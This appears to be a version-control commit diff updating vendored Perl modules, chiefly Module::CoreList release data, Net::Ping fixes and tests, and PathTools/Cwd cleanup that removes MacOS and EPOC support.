+            'version'               => '0.9923',
+            'version::regex'        => '0.9923',
+        },
+        removed => {
+        }
+    },
+    5.028000 => {
+        delta_from => 5.027011,
+        changed => {
+            'Archive::Tar'          => '2.28',
+            'Archive::Tar::Constant'=> '2.28',
+            'Archive::Tar::File'    => '2.28',
+            'B::Op_private'         => '5.028000',
+            'Config'                => '5.028',
+            'Module::CoreList'      => '5.20180622',
+            'Module::CoreList::Utils'=> '5.20180622',
+            'Storable'              => '3.08',
+            'XS::APItest'           => '0.98',
+            'feature'               => '1.52',
+        },
+        removed => {
+        }
+    },
 );
 
 sub is_core
 {
+    shift if defined $_[1] and $_[1] =~ /^\w/ and _looks_like_invocant $_[0];
     my $module = shift;
-    $module = shift if eval { $module->isa(__PACKAGE__) } && @_ > 0 && defined($_[0]) && $_[0] =~ /^\w/;
-    my ($module_version, $perl_version);
+    my $module_version = @_ > 0 ? shift : undef;
+    my $perl_version   = @_ > 0 ? shift : $];
 
-    $module_version = shift if @_ > 0;
-    $perl_version   = @_ > 0 ? shift : $];
-
     my $first_release = first_release($module);
 
     return 0 if !defined($first_release) || $first_release > $perl_version;
@@ -14134,6 +15473,11 @@
     # On the way if we pass the required module version, we can
     # short-circuit and return true
     if (defined($module_version)) {
+        my $module_version_object = eval { version->parse($module_version) };
+        if (!defined($module_version_object)) {
+            (my $err = $@) =~ s/^Invalid version format\b/Invalid version '$module_version' specified/;
+            die $err;
+        }
         # The Perl releases aren't a linear sequence, but a tree. We need to build the path
         # of releases from 5 to the specified release, and follow the module's version(s)
         # along that path.
@@ -14151,7 +15495,7 @@
             last RELEASE if $prn > $perl_version;
             next unless defined(my $next_module_version
                                    = $delta{$prn}->{changed}->{$module});
-            return 1 if version->parse($next_module_version) >= version->parse($module_version);
+            return 1 if eval { version->parse($next_module_version) >= $module_version_object };
         }
         return 0;
     }
@@ -14867,6 +16211,140 @@
         removed => {
         }
     },
+    5.027000 => {
+        delta_from => 5.026,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027001 => {
+        delta_from => 5.027,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.022004 => {
+        delta_from => 5.022003,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.024002 => {
+        delta_from => 5.024001,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027002 => {
+        delta_from => 5.027001,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027003 => {
+        delta_from => 5.027002,
+        changed => {
+            'B::Debug'              => '1',
+        },
+        removed => {
+        }
+    },
+    5.027004 => {
+        delta_from => 5.027003,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.024003 => {
+        delta_from => 5.024002,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.026001 => {
+        delta_from => 5.026000,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027005 => {
+        delta_from => 5.027004,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027006 => {
+        delta_from => 5.027005,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027007 => {
+        delta_from => 5.027006,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027008 => {
+        delta_from => 5.027007,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027009 => {
+        delta_from => 5.027008,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027010 => {
+        delta_from => 5.027009,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.024004 => {
+        delta_from => 5.024003,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.026002 => {
+        delta_from => 5.026001,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027011 => {
+        delta_from => 5.02701,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.028000 => {
+        delta_from => 5.027011,
+        changed => {
+        },
+        removed => {
+        }
+    },
 );
 
 %deprecated = _undelta(\%deprecated);
@@ -14933,7 +16411,6 @@
     'Compress::Zlib'        => 'cpan',
     'Config::Perl::V'       => 'cpan',
     'DB_File'               => 'cpan',
-    'Devel::PPPort'         => 'cpan',
     'Digest'                => 'cpan',
     'Digest::MD5'           => 'cpan',
     'Digest::SHA'           => 'cpan',
@@ -15235,15 +16712,30 @@
     'Test2::Event::Diag'    => 'cpan',
     'Test2::Event::Encoding'=> 'cpan',
     'Test2::Event::Exception'=> 'cpan',
+    'Test2::Event::Fail'    => 'cpan',
     'Test2::Event::Generic' => 'cpan',
-    'Test2::Event::Info'    => 'cpan',
     'Test2::Event::Note'    => 'cpan',
     'Test2::Event::Ok'      => 'cpan',
+    'Test2::Event::Pass'    => 'cpan',
     'Test2::Event::Plan'    => 'cpan',
     'Test2::Event::Skip'    => 'cpan',
     'Test2::Event::Subtest' => 'cpan',
     'Test2::Event::TAP::Version'=> 'cpan',
+    'Test2::Event::V2'      => 'cpan',
     'Test2::Event::Waiting' => 'cpan',
+    'Test2::EventFacet'     => 'cpan',
+    'Test2::EventFacet::About'=> 'cpan',
+    'Test2::EventFacet::Amnesty'=> 'cpan',
+    'Test2::EventFacet::Assert'=> 'cpan',
+    'Test2::EventFacet::Control'=> 'cpan',
+    'Test2::EventFacet::Error'=> 'cpan',
+    'Test2::EventFacet::Hub'=> 'cpan',
+    'Test2::EventFacet::Info'=> 'cpan',
+    'Test2::EventFacet::Meta'=> 'cpan',
+    'Test2::EventFacet::Parent'=> 'cpan',
+    'Test2::EventFacet::Plan'=> 'cpan',
+    'Test2::EventFacet::Render'=> 'cpan',
+    'Test2::EventFacet::Trace'=> 'cpan',
     'Test2::Formatter'      => 'cpan',
     'Test2::Formatter::TAP' => 'cpan',
     'Test2::Hub'            => 'cpan',
@@ -15256,6 +16748,7 @@
     'Test2::Tools::Tiny'    => 'cpan',
     'Test2::Util'           => 'cpan',
     'Test2::Util::ExternalMeta'=> 'cpan',
+    'Test2::Util::Facets2Legacy'=> 'cpan',
     'Test2::Util::HashBase' => 'cpan',
     'Test2::Util::Trace'    => 'cpan',
     'Test::Builder'         => 'cpan',
@@ -15373,7 +16866,6 @@
     'Compress::Zlib'        => undef,
     'Config::Perl::V'       => undef,
     'DB_File'               => undef,
-    'Devel::PPPort'         => 'https://github.com/mhx/Devel-PPPort/issues/',
     'Digest'                => undef,
     'Digest::MD5'           => undef,
     'Digest::SHA'           => undef,
@@ -15675,15 +17167,30 @@
     'Test2::Event::Diag'    => 'http://github.com/Test-More/test-more/issues',
     'Test2::Event::Encoding'=> 'http://github.com/Test-More/test-more/issues',
     'Test2::Event::Exception'=> 'http://github.com/Test-More/test-more/issues',
+    'Test2::Event::Fail'    => 'http://github.com/Test-More/test-more/issues',
     'Test2::Event::Generic' => 'http://github.com/Test-More/test-more/issues',
-    'Test2::Event::Info'    => 'http://github.com/Test-More/test-more/issues',
     'Test2::Event::Note'    => 'http://github.com/Test-More/test-more/issues',
     'Test2::Event::Ok'      => 'http://github.com/Test-More/test-more/issues',
+    'Test2::Event::Pass'    => 'http://github.com/Test-More/test-more/issues',
     'Test2::Event::Plan'    => 'http://github.com/Test-More/test-more/issues',
     'Test2::Event::Skip'    => 'http://github.com/Test-More/test-more/issues',
     'Test2::Event::Subtest' => 'http://github.com/Test-More/test-more/issues',
     'Test2::Event::TAP::Version'=> 'http://github.com/Test-More/test-more/issues',
+    'Test2::Event::V2'      => 'http://github.com/Test-More/test-more/issues',
     'Test2::Event::Waiting' => 'http://github.com/Test-More/test-more/issues',
+    'Test2::EventFacet'     => 'http://github.com/Test-More/test-more/issues',
+    'Test2::EventFacet::About'=> 'http://github.com/Test-More/test-more/issues',
+    'Test2::EventFacet::Amnesty'=> 'http://github.com/Test-More/test-more/issues',
+    'Test2::EventFacet::Assert'=> 'http://github.com/Test-More/test-more/issues',
+    'Test2::EventFacet::Control'=> 'http://github.com/Test-More/test-more/issues',
+    'Test2::EventFacet::Error'=> 'http://github.com/Test-More/test-more/issues',
+    'Test2::EventFacet::Hub'=> 'http://github.com/Test-More/test-more/issues',
+    'Test2::EventFacet::Info'=> 'http://github.com/Test-More/test-more/issues',
+    'Test2::EventFacet::Meta'=> 'http://github.com/Test-More/test-more/issues',
+    'Test2::EventFacet::Parent'=> 'http://github.com/Test-More/test-more/issues',
+    'Test2::EventFacet::Plan'=> 'http://github.com/Test-More/test-more/issues',
+    'Test2::EventFacet::Render'=> 'http://github.com/Test-More/test-more/issues',
+    'Test2::EventFacet::Trace'=> 'http://github.com/Test-More/test-more/issues',
     'Test2::Formatter'      => 'http://github.com/Test-More/test-more/issues',
     'Test2::Formatter::TAP' => 'http://github.com/Test-More/test-more/issues',
     'Test2::Hub'            => 'http://github.com/Test-More/test-more/issues',
@@ -15696,6 +17203,7 @@
     'Test2::Tools::Tiny'    => 'http://github.com/Test-More/test-more/issues',
     'Test2::Util'           => 'http://github.com/Test-More/test-more/issues',
     'Test2::Util::ExternalMeta'=> 'http://github.com/Test-More/test-more/issues',
+    'Test2::Util::Facets2Legacy'=> 'http://github.com/Test-More/test-more/issues',
     'Test2::Util::HashBase' => 'http://github.com/Test-More/test-more/issues',
     'Test2::Util::Trace'    => 'http://github.com/Test-More/test-more/issues',
     'Test::Builder'         => 'http://github.com/Test-More/test-more/issues',

Modified: vendor/perl/dist/dist/Module-CoreList/lib/Module/CoreList.pod
===================================================================
--- vendor/perl/dist/dist/Module-CoreList/lib/Module/CoreList.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Module-CoreList/lib/Module/CoreList.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -172,9 +172,6 @@
 
 Available in version 3.00 and above.
 
-C<%Module::CoreList::version> is implemented via C<Module::CoreList::TieHashDelta>
-using this hash of delta changes.
-
 It is a hash of hashes that is keyed on perl version. Each keyed hash will have the
 following keys:
 

Modified: vendor/perl/dist/dist/Module-CoreList/t/find_modules.t
===================================================================
--- vendor/perl/dist/dist/Module-CoreList/t/find_modules.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Module-CoreList/t/find_modules.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,20 +5,20 @@
 
 BEGIN { require_ok('Module::CoreList'); }
 
-is_deeply([ Module::CoreList->find_modules(qr/warnings/) ], 
+is_deeply([ Module::CoreList->find_modules(qr/warnings/) ],
           [ qw(encoding::warnings warnings warnings::register) ],
           'qr/warnings/');
 
-is_deeply([ Module::CoreList->find_modules(qr/IPC::Open/) ], 
+is_deeply([ Module::CoreList->find_modules(qr/IPC::Open/) ],
           [ qw(IPC::Open2 IPC::Open3) ],
           'qr/IPC::Open/');
 
 is_deeply([ Module::CoreList->find_modules(qr/Module::/, 5.008008) ], [], 'qr/Module::/ at 5.008008');
 
-is_deeply([ Module::CoreList->find_modules(qr/Test::H.*::.*s/, 5.006001, 5.007003) ], 
+is_deeply([ Module::CoreList->find_modules(qr/Test::H.*::.*s/, 5.006001, 5.007003) ],
           [ qw(Test::Harness::Assert Test::Harness::Straps) ],
           'qr/Test::H.*::.*s/ at 5.006001 and 5.007003');
 
 is_deeply([ Module::CoreList::find_modules(qr/Module::CoreList/) ],
-          [ qw(Module::CoreList Module::CoreList::TieHashDelta Module::CoreList::Utils) ], 
+          [ qw(Module::CoreList Module::CoreList::TieHashDelta Module::CoreList::Utils) ],
           'Module::CoreList functional' );

Modified: vendor/perl/dist/dist/Module-CoreList/t/is_core.t
===================================================================
--- vendor/perl/dist/dist/Module-CoreList/t/is_core.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Module-CoreList/t/is_core.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 #!perl -w
 use strict;
 use Module::CoreList;
-use Test::More tests => 43;
+use Test::More tests => 44;
 
 BEGIN { require_ok('Module::CoreList'); }
 
@@ -82,3 +82,6 @@
 
 ok(  Module::CoreList::is_core("Config", 0, "5.020"), "Config v0+ is in core in 5.020");
 ok(  Module::CoreList::is_core("Config", undef, "5.020"), "Config v(undef) is in core in 5.020");
+
+eval { Module::CoreList::is_core('Config', 'invalid', '5.020'); };
+like( $@, qr/^Invalid version 'invalid' specified\b/, 'invalid version throws');

Added: vendor/perl/dist/dist/Module-CoreList/t/maintainer.t
===================================================================
--- vendor/perl/dist/dist/Module-CoreList/t/maintainer.t	                        (rev 0)
+++ vendor/perl/dist/dist/Module-CoreList/t/maintainer.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,30 @@
+use strict;
+use warnings;
+use Test::More;
+
+plan skip_all => 'These tests only run in core'
+  unless $ENV{PERL_CORE};
+
+my @mods = qw[
+Module::CoreList
+Module::CoreList::Utils
+];
+
+plan tests => 3 + scalar @mods;
+
+my %vers;
+
+foreach my $mod ( @mods ) {
+  use_ok($mod);
+  $vers{ $mod->VERSION }++;
+}
+
+is( scalar keys %vers, 1, 'All Module-CoreList modules should have the same $VERSION' );
+
+# Check that there is a release entry for the current perl version
+my $released = $Module::CoreList::released{ $] };
+# duplicate fetch to avoid 'used only once: possible typo' warning
+$released = $Module::CoreList::released{ $] };
+
+ok( defined $released, "There is a released entry for $]" );
+like( $released, qr!^\d{4}\-\d{2}\-\d{2}$!, 'It should be a date in YYYY-MM-DD format' );

Modified: vendor/perl/dist/dist/Net-Ping/Changes
===================================================================
--- vendor/perl/dist/dist/Net-Ping/Changes	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Net-Ping/Changes	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,35 @@
 CHANGES
 -------
+2.61  Sat Jun 17 13:12:58 CEST 2017 (rurban)
+       Bugfixes
+        - Fix ping_udp for a started udp echo server (PR#5 by Stephan Loyd)
+
+2.60  Mon Jun 12 20:14:13 CEST 2017 (rurban)
+       Bugfixes
+        - Fix t/400_ping_syn.t phases
+        - Try to handle Windows Socket::getnameinfo errors
+        - Improve some tests on missing network connections
+
+2.59  Tue Apr 18 08:46:48 2017 +0200 (rurban)
+       Bugfixes
+        - skip udp ping tests on more platforms: hpux, irix, aix.
+          also pingecho on os390.
+          (from perl5 core)
+       Features
+        - added a make release target
+
+2.58  Wed Feb  1 19:34:03 CET 2017 (rurban)
+       Features
+        - return the port num as 5th return value with ack (jfraire)
+
+2.57  Wed Feb  1 19:34:03 CET 2017 (rurban)
+       Bugfixes
+        - Resigned with new gpg key
+
+2.56  Wed Jan 18 16:00:00  2017 -0700 (bbb)
+       Bugfixes
+        - Stabilize tests
+
 2.55  Thu Oct 20 09:16:06  2016 +0200 (rurban)
 
        Bugfixes

Modified: vendor/perl/dist/dist/Net-Ping/lib/Net/Ping.pm
===================================================================
--- vendor/perl/dist/dist/Net-Ping/lib/Net/Ping.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Net-Ping/lib/Net/Ping.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,14 +4,12 @@
 require Exporter;
 
 use strict;
-use vars qw(@ISA @EXPORT @EXPORT_OK $VERSION
-            $def_timeout $def_proto $def_factor $def_family
-            $max_datasize $pingstring $hires $source_verify $syn_forking);
+our $hires;
 use Fcntl qw( F_GETFL F_SETFL O_NONBLOCK );
 use Socket qw( SOCK_DGRAM SOCK_STREAM SOCK_RAW AF_INET PF_INET IPPROTO_TCP
 	       SOL_SOCKET SO_ERROR SO_BROADCAST
                IPPROTO_IP IP_TOS IP_TTL
-               inet_ntoa inet_aton getnameinfo NI_NUMERICHOST sockaddr_in );
+               inet_ntoa inet_aton getnameinfo sockaddr_in );
 use POSIX qw( ENOTCONN ECONNREFUSED ECONNRESET EINPROGRESS EWOULDBLOCK EAGAIN
 	      WNOHANG );
 use FileHandle;
@@ -18,30 +16,30 @@
 use Carp;
 use Time::HiRes;
 
- at ISA = qw(Exporter);
- at EXPORT = qw(pingecho);
- at EXPORT_OK = qw(wakeonlan);
-$VERSION = "2.55";
+our @ISA = qw(Exporter);
+our @EXPORT = qw(pingecho);
+our @EXPORT_OK = qw(wakeonlan);
+our $VERSION = "2.62";
 
 # Globals
 
-$def_timeout = 5;           # Default timeout to wait for a reply
-$def_proto = "tcp";         # Default protocol to use for pinging
-$def_factor = 1.2;          # Default exponential backoff rate.
-$def_family = AF_INET;      # Default family.
-$max_datasize = 1024;       # Maximum data bytes in a packet
+our $def_timeout = 5;           # Default timeout to wait for a reply
+our $def_proto = "tcp";         # Default protocol to use for pinging
+our $def_factor = 1.2;          # Default exponential backoff rate.
+our $def_family = AF_INET;      # Default family.
+our $max_datasize = 1024;       # Maximum data bytes in a packet
 # The data we exchange with the server for the stream protocol
-$pingstring = "pingschwingping!\n";
-$source_verify = 1;         # Default is to verify source endpoint
-$syn_forking = 0;
+our $pingstring = "pingschwingping!\n";
+our $source_verify = 1;         # Default is to verify source endpoint
+our $syn_forking = 0;
 
 # Constants
 
-my $AF_INET6  = eval { Socket::AF_INET6() };
+my $AF_INET6  = eval { Socket::AF_INET6() } || 30;
 my $AF_UNSPEC = eval { Socket::AF_UNSPEC() };
-my $AI_NUMERICHOST = eval { Socket::AI_NUMERICHOST() };
-my $NI_NUMERICHOST = eval { Socket::NI_NUMERICHOST() };
-my $IPPROTO_IPV6   = eval { Socket::IPPROTO_IPV6() };
+my $AI_NUMERICHOST = eval { Socket::AI_NUMERICHOST() } || 4;
+my $NI_NUMERICHOST = eval { Socket::NI_NUMERICHOST() } || 2;
+my $IPPROTO_IPV6   = eval { Socket::IPPROTO_IPV6() }   || 41;
 #my $IPV6_HOPLIMIT  = eval { Socket::IPV6_HOPLIMIT() };  # ping6 -h 0-255
 my $qr_family = qr/^(?:(?:(:?ip)?v?(?:4|6))|${\AF_INET}|$AF_INET6)$/;
 my $qr_family4 = qr/^(?:(?:(:?ip)?v?4)|${\AF_INET})$/;
@@ -618,8 +616,11 @@
     ? ('ip' => $ip->{addr_in})
     : ('host' => $ip->{host});
 
-  eval { require Net::Ping::External; }
-    or croak('Protocol "external" not supported on your system: Net::Ping::External not found');
+  eval {
+    local @INC = @INC;
+    pop @INC if $INC[-1] eq '.';
+    require Net::Ping::External;
+  } or croak('Protocol "external" not supported on your system: Net::Ping::External not found');
   return Net::Ping::External::ping(@addr, timeout => $timeout,
                                    family => $family);
 }
@@ -1295,8 +1296,9 @@
         $done = 1;
       } else {
         ($from_port, $from_ip) = _unpack_sockaddr_in($from_saddr, $ip->{family});
+        my $addr_in = ref($ip) eq "HASH" ? $ip->{addr_in} : $ip;
         if (!$source_verify ||
-            (($from_ip eq $ip) &&        # Does the packet check out?
+            (($from_ip eq $addr_in) &&        # Does the packet check out?
              ($from_port == $self->{port_num}) &&
              ($from_msg eq $msg)))
         {
@@ -1379,7 +1381,7 @@
     }
   }
 
-  my $entry = [ $host, $ip, $fh, $start_time, $stop_time ];
+  my $entry = [ $host, $ip, $fh, $start_time, $stop_time, $self->{port_num} ];
   $self->{syn}->{$fh->fileno} = $entry;
   if ($self->{stop_time} < $stop_time) {
     $self->{stop_time} = $stop_time;
@@ -1558,7 +1560,7 @@
           }
           # Everything passed okay, return the answer
           return wantarray ?
-            ($entry->[0], &time() - $entry->[3], $self->ntop($entry->[1]))
+            ($entry->[0], &time() - $entry->[3], $self->ntop($entry->[1]), $entry->[5])
             : $entry->[0];
         } else {
           warn "Corrupted SYN entry: unknown fd [$fd] ready!";
@@ -1712,10 +1714,8 @@
     # Socket warns when undef is passed in, but it still works.
     my $port = getservbyname('echo', 'udp');
     my $sockaddr = _pack_sockaddr_in($port, $ip);
-    my ($error, $address) = getnameinfo($sockaddr, NI_NUMERICHOST);
-    if($error) {
-      croak $error;
-    }
+    my ($error, $address) = getnameinfo($sockaddr, $NI_NUMERICHOST);
+    croak $error if $error;
     return $address;
 }
 
@@ -1854,9 +1854,8 @@
         croak("getnameinfo($getaddr[0]->{addr}) failed - $err");
       }
     } else {
-      my $error = sprintf "getaddrinfo($h{host},,%s) failed - $err",
-                  ($family == AF_INET) ? "AF_INET" : "AF_INET6";
-      croak("$error");
+      croak(sprintf("getaddrinfo($h{host},,%s) failed - $err",
+                    $family == AF_INET ? "AF_INET" : "AF_INET6"));
     }
   # old way
   } else {
@@ -2242,8 +2241,8 @@
 reached before the TCP ACK is received, or if the remote
 host is not listening on the port attempted, then the TCP
 connection will not be established and ack() will return
-undef.  In list context, the host, the ack time, and the
-dotted ip string will be returned instead of just the host.
+undef.  In list context, the host, the ack time, the dotted ip 
+string, and the port number will be returned instead of just the host.
 If the optional $host argument is specified, the return
 value will be pertaining to that host only.
 This call simply does nothing if you are using any protocol

Modified: vendor/perl/dist/dist/Net-Ping/t/010_pingecho.t
===================================================================
--- vendor/perl/dist/dist/Net-Ping/t/010_pingecho.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Net-Ping/t/010_pingecho.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,7 +12,7 @@
 BEGIN {use_ok('Net::Ping')};
 
 TODO: {
-    local $TODO = "Not working on os390 smoker; may be a prermissions problem"
+    local $TODO = "Not working on os390 smoker; may be a permissions problem"
         if $^O eq 'os390';
     my $result = pingecho("127.0.0.1");
     is($result, 1, "pingecho works");

Modified: vendor/perl/dist/dist/Net-Ping/t/200_ping_tcp.t
===================================================================
--- vendor/perl/dist/dist/Net-Ping/t/200_ping_tcp.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Net-Ping/t/200_ping_tcp.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -28,7 +28,7 @@
 #
 # $ PERL_CORE=1 make test
 
-use Test::More tests => 13;
+use Test::More tests => 12;
 BEGIN {use_ok('Net::Ping');}
 
 my $p = new Net::Ping "tcp",9;
@@ -50,8 +50,13 @@
 # Test a few remote servers
 # Hopefully they are up when the tests are run.
 
-foreach (qw(www.geocities.com www.wisc.edu
-	    www.freeservers.com ftp.freeservers.com
-	    yahoo.com www.yahoo.com www.about.com)) {
+if ($p->ping('google.com')) { # check for firewall
+  foreach (qw(google.com www.google.com www.wisc.edu
+              yahoo.com www.yahoo.com www.about.com)) {
     isnt($p->ping($_), 0, "Can ping $_");
+  }
+} else {
+ SKIP: {
+    skip "Cannot ping google.com: no TCP connection or firewall", 6;
+  }
 }

Modified: vendor/perl/dist/dist/Net-Ping/t/400_ping_syn.t
===================================================================
--- vendor/perl/dist/dist/Net-Ping/t/400_ping_syn.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Net-Ping/t/400_ping_syn.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
   if ($ENV{PERL_CORE}) {
     unless ($ENV{PERL_TEST_Net_Ping}) {
       print "1..0 # Skip: network dependent test\n";
-        exit;
+      exit;
     }
   }
   unless (eval "require Socket") {
@@ -33,14 +33,11 @@
 # $ PERL_CORE=1 make test
 
 # Try a few remote servers
-my %webs;
-BEGIN {
-  %webs = (
+my %webs = (
   # Hopefully this is never a routeable host
   "172.29.249.249" => 0,
 
   # Hopefully all these web ports are open
-  "www.geocities.com." => 1,
   "www.freeservers.com." => 1,
   "yahoo.com." => 1,
   "www.yahoo.com." => 1,
@@ -47,11 +44,11 @@
   "www.about.com." => 1,
   "www.microsoft.com." => 1,
 );
-}
 
-use Test::More tests => 3 + 2 * keys %webs;
+use Test::More;
+plan tests => 3 + 2 * keys %webs;
 
-BEGIN {use_ok('Net::Ping')};
+use_ok('Net::Ping');
 
 my $can_alarm = eval {alarm 0; 1;};
 
@@ -73,6 +70,13 @@
 # (Make sure getservbyname works in scalar context.)
 cmp_ok(($p->{port_num} = getservbyname("http", "tcp")), '>', 0, 'valid port');
 
+# check if network is up
+eval { $p->ping('www.google.com.'); };
+if ($@ =~ /getaddrinfo.*failed/) {
+  ok(1, "skip $@");
+  ok(1, "skip") for 0..12;
+  exit;
+}
 foreach my $host (keys %webs) {
   # ping() does dns resolution and
   # only sends the SYN at this point
@@ -80,13 +84,23 @@
   is($p->ping($host), 1, "Can reach $host [" . ($p->{bad}->{$host} || "") . "]");
 }
 
+my $failed;
 Alarm(20);
 while (my $host = $p->ack()) {
-  is($webs{$host}, 1, "supposed to be up: http://$host/");
+  next if $host eq 'www.google.com.';
+  $failed += !is($webs{$host}, 1, "supposed to be up: http://$host/");
   delete $webs{$host};
 }
 
 Alarm(0);
 foreach my $host (keys %webs) {
-  is($webs{$host}, 0, "supposed to be down: http://$host/ [" . ($p->{bad}->{$host} || "") . "]");
+  $failed += !is($webs{$host}, 0,
+                "supposed to be down: http://$host/ [" . ($p->{bad}->{$host} || "") . "]");
 }
+
+if ($failed) {
+  diag ("NOTE: ",
+        "Network connectivity will be required for all tests to pass.\n",
+        "Firewalls may also cause some tests to fail, so test it ",
+        "on a clear network.");
+}

Modified: vendor/perl/dist/dist/Net-Ping/t/410_syn_host.t
===================================================================
--- vendor/perl/dist/dist/Net-Ping/t/410_syn_host.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Net-Ping/t/410_syn_host.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -41,7 +41,7 @@
   "172.29.249.249" => 0,
 
   # Hopefully all these web ports are open
-  "www.geocities.com." => 1,
+  "www.google.com." => 1,
   "www.freeservers.com." => 1,
   "yahoo.com." => 1,
   "www.yahoo.com." => 1,

Modified: vendor/perl/dist/dist/PathTools/Changes
===================================================================
--- vendor/perl/dist/dist/PathTools/Changes	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/PathTools/Changes	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,35 @@
 Revision history for Perl distribution PathTools.
 
+3.74
+- No changes.
+
+3.73
+- Define NEED_croak_xs_usage, fixing usage of croak_xs_usage()
+- [perl #132853] Add metadata (ABSTRACT, LICENSE, AUTHOR)
+- [perl #132733] Skip cwd_enoent test on Cygwin
+- [perl #132651] Avoid infinite recursion in _perl_abs_path()
+- [rt.cpan.org #114236] Compatibility with File::Path 2.06_04
+
+3.72
+- [perl #132648] Correct error returns from fast_abs_path()
+
+3.71
+- [perl #130818] Remove support for running PathTools on MacOS
+  and EPOC
+
+3.70
+- Change strcmp into the easier to read strEQ
+
+3.69
+- avoid loading modules repeatedly at runtime
+- replace 'use vars' by 'our'
+- Switch to XSLoader from Dynaloader
+
+3.68
+- avoid warning from pre-5.8 code for detecting tainted values
+- make taint.t detect that a pre-5.8 Perl supports tainting
+- avoid a dynamic linking problem on Perl 5.6
+
 3.67 - Mon Feb 27 09:33:04 EST 2017
 - Add security usage note to File::Spec::no_upwards
 

Modified: vendor/perl/dist/dist/PathTools/Cwd.pm
===================================================================
--- vendor/perl/dist/dist/PathTools/Cwd.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/PathTools/Cwd.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,16 +1,16 @@
 package Cwd;
 use strict;
 use Exporter;
-use vars qw(@ISA @EXPORT @EXPORT_OK $VERSION);
 
-$VERSION = '3.67';
+
+our $VERSION = '3.74';
 my $xs_version = $VERSION;
 $VERSION =~ tr/_//d;
 
- at ISA = qw/ Exporter /;
- at EXPORT = qw(cwd getcwd fastcwd fastgetcwd);
+our @ISA = qw/ Exporter /;
+our @EXPORT = qw(cwd getcwd fastcwd fastgetcwd);
 push @EXPORT, qw(getdcwd) if $^O eq 'MSWin32';
- at EXPORT_OK = qw(chdir abs_path fast_abs_path realpath fast_realpath);
+our @EXPORT_OK = qw(chdir abs_path fast_abs_path realpath fast_realpath);
 
 # sys_cwd may keep the builtin command
 
@@ -77,19 +77,9 @@
 
 
 # If loading the XS stuff doesn't work, we can fall back to pure perl
-if(! defined &getcwd && defined &DynaLoader::boot_DynaLoader) {
-  eval {#eval is questionable since we are handling potential errors like
-        #"Cwd object version 3.48 does not match bootstrap parameter 3.50
-        #at lib/DynaLoader.pm line 216." by having this eval
-    if ( $] >= 5.006 ) {
-      require XSLoader;
-      XSLoader::load( __PACKAGE__, $xs_version);
-    } else {
-      require DynaLoader;
-      push @ISA, 'DynaLoader';
-      __PACKAGE__->bootstrap( $xs_version );
-    }
-  };
+if(! defined &getcwd && defined &DynaLoader::boot_DynaLoader) { # skipped on miniperl
+    require XSLoader;
+    XSLoader::load( __PACKAGE__, $xs_version);
 }
 
 # Big nasty table of function aliases
@@ -145,23 +135,6 @@
     realpath		=> 'fast_abs_path',
    },
 
-   epoc =>
-   {
-    cwd			=> '_epoc_cwd',
-    getcwd	        => '_epoc_cwd',
-    fastgetcwd		=> '_epoc_cwd',
-    fastcwd		=> '_epoc_cwd',
-    abs_path		=> 'fast_abs_path',
-   },
-
-   MacOS =>
-   {
-    getcwd		=> 'cwd',
-    fastgetcwd		=> 'cwd',
-    fastcwd		=> 'cwd',
-    abs_path		=> 'fast_abs_path',
-   },
-
    amigaos =>
    {
     getcwd              => '_backtick_pwd',
@@ -254,8 +227,7 @@
 	}
     }
 
-    # MacOS has some special magic to make `pwd` work.
-    if( $os eq 'MacOS' || $found_pwd_cmd )
+    if( $found_pwd_cmd )
     {
 	*cwd = \&_backtick_pwd;
     }
@@ -384,9 +356,6 @@
     if ($^O eq 'VMS') {
 	return $ENV{'PWD'} = $ENV{'DEFAULT'}
     }
-    elsif ($^O eq 'MacOS') {
-	return $ENV{'PWD'} = cwd();
-    }
     elsif ($^O eq 'MSWin32') {
 	$ENV{'PWD'} = $newpwd;
 	return 1;
@@ -418,8 +387,7 @@
 
     unless (@cst = stat( $start ))
     {
-	_carp("stat($start): $!");
-	return '';
+	return undef;
     }
 
     unless (-d _) {
@@ -453,15 +421,14 @@
 	local *PARENT;
 	unless (opendir(PARENT, $dotdots))
 	{
-	    # probably a permissions issue.  Try the native command.
-	    require File::Spec;
